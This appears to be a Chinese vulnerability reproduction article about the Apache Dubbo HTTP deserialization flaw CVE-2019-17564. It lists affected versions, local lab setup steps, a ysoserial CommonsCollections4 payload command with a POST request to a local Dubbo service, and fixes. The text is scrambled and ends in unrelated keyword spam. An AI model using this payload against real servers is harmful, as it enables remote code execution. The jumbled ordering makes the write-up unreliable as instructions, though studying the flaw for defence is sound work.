如何分析Apache Dubbo反序列漏洞CVE-2019-17564
发表于:2025-12-03 作者:千家信息网编辑
千家信息网最后更新 2025年12月03日,如何分析Apache Dubbo反序列漏洞CVE-2019-17564,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。0x01 简介Apa
千家信息网最后更新 2025年12月03日如何分析Apache Dubbo反序列漏洞CVE-2019-175640x01 简介 0x02 漏洞概述
0x03 影响版本
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x 1、因为dubbo的启动需要依赖zookeeper,所以先安装zookeeper
2、从GIthub上获取dubbo的项目,并修改pom.xml 将dubbo版本修改为有漏洞的版本 添加依赖,导入一个可触发的gadgets,这边导入的是commons-collections4-4.0 3、mvn构建,启动dubbo
将下载的源码放入当前目录的src文件夹内
这边使用ysoserial生成paylaod
1.禁用HTTP协议 2.及时升级到2.7.5及以上版本
如何分析Apache Dubbo反序列漏洞CVE-2019-17564,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Apache Dubbo HTTP协议中的一个反序列化漏洞(CVE-2019-17564),该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo对消息体处理不当导致不安全反序列化,当项目包中存在可用的gadgets时即可导致远程代码执行。
0x04 环境搭建
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz# 将conf目录下的zoo_sample.cfg改名为zoo.cfgmv zoo_sample.cfg zoo.cfg# 进入bin目录启动zookeeper./zkServer.sh start
git clone https://github.com/apache/dubbo-samples# 进入到dubbo-samples-http目录中,修改pom.xmlvim pom.xml
org.apache.commons commons-collections4 4.0
mvn clean packagemvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java
0x05 漏洞利用
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1Host: 127.0.0.1:8080paylaod
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
burp发包,弹出计算器
0x06 修复方式
看完上述内容,你们掌握如何分析Apache Dubbo反序列漏洞CVE-2019-17564的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!
漏洞
序列
版本
目录
方法
分析
内容
原因
更多
问题
项目
不当
均衡
安全
束手无策
为此
处理不当
三大
代码
对此
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
华为 录播服务器
锦州软件开发公司哪家好
小语种软件开发研究内容
数据库读取最小单位
兴化小型网络技术市场
幻想三国ol凉州区是哪个服务器
网络安全知识小插图
2018互联网 网络安全
saas 更新数据库
中山市华悦网络技术有限公司
福建搭建云空间部署云空间服务器
集群两台数据库服务器
河北智能养老软件开发系统
冰原守卫者服务器注册上限
从重大事件看网络安全形势课件
大唐棋牌软件开发
ceic数据库
税务系统网络安全专项预案
软件开发的基础知识和技巧
数据库 raid5
安卓软件开发找工作安
静安区市场软件开发定制大概费用
网络安全会的通知
崇明区第三方软件开发业务流程
江西服务器虚拟化部署
网络安全手机答题
覆灭女巫和数据库
随州好的软件开发价格
视易服务器7600
石头阅读无法连接服务器